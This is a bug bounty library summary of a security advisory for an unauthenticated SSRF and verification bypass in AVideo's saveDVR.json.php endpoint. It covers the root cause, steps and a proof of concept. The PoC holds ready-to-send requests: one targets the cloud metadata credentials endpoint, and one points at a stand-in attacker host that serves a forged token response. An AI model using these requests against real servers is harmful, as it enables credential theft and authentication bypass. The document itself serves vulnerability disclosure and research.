# AVideo has Unauthenticated SSRF via `webSiteRootURL` Parameter in saveDVR.json.php, Chaining to Verification Bypass

Unauthenticated SSRF in AVideo's saveDVR.json.php lets attackers set webSiteRootURL to fetch arbitrary URLs and forge DVR token verification responses.

- Payout: Research
- Severity: critical
- Program: AVideo
- Found by: iconnnjka
- Disclosed: 2026-03-19
- CVE: CVE-2026-33351
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-5f7v-4f6g-74rj
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-5f7v-4f6g-74rj
- Tags: area:web domain:web impact:internal-access impact:rce kind:research platform:ghsa sev:critical tech:php technique:chained technique:source-review vuln:auth-bypass vuln:ssrf

**Target:** PHP endpoint plugin/Live/standAloneFiles/saveDVR.json.php
**Root cause:** In standalone mode, $streamerURL falls back to unvalidated $_REQUEST['webSiteRootURL'], which is concatenated into a verification URL fetched via file_get_contents() with no scheme or IP allowlisting.
**Steps:**
1. Deploy AVideo Live plugin standalone so the config file is absent and the webSiteRootURL fallback triggers.
2. Send `POST /plugin/Live/standAloneFiles/saveDVR.json.php` with `webSiteRootURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/&saveDVR=anything` to force a server-side fetch.
3. For verification bypass, host `/plugin/SendRecordedToEncoder/verifyDVRTokenVerification.json.php` on attacker server returning `{"error": false, "response": {"key": "attacker_controlled_value"}}`.
4. Send `webSiteRootURL=https://attacker.example.com/&saveDVR=anything` so the forged response passes validation and the key flows into exec() file paths.
**How found:** Code review of the standalone saveDVR.json.php: noticed $streamerURL sourced from $_REQUEST when config missing, then used directly in file_get_contents() for token verification.
**Exploitation:** Attacker points webSiteRootURL at internal/metadata endpoints for SSRF, or at their own server to forge the DVR token verification JSON, gaining control of the downstream processing flow where the returned key is used in unescaped exec() file paths.
**Escalation:** Chains SSRF into authentication bypass by redirecting the verification fetch to an attacker-controlled server, then into potential command execution via the key flowing into unescaped exec() calls.
**Insight:** Standalone/decoupled deployment files that fall back to request-supplied base URLs for internal service-to-service verification are prime SSRF and auth-bypass targets; check any file_get_contents/curl on a URL built from request params.

## Proof of concept (copied exactly from the original report)

**SSRF request to cloud metadata endpoint**

```
POST /plugin/Live/standAloneFiles/saveDVR.json.php
Content-Type: application/x-www-form-urlencoded

webSiteRootURL=http://169.254.169.254/latest/meta-data/iam/security-credentials/&saveDVR=anything
```

**Verification bypass via attacker-controlled webSiteRootURL**

```
POST /plugin/Live/standAloneFiles/saveDVR.json.php

   webSiteRootURL=https://attacker.example.com/&saveDVR=anything
```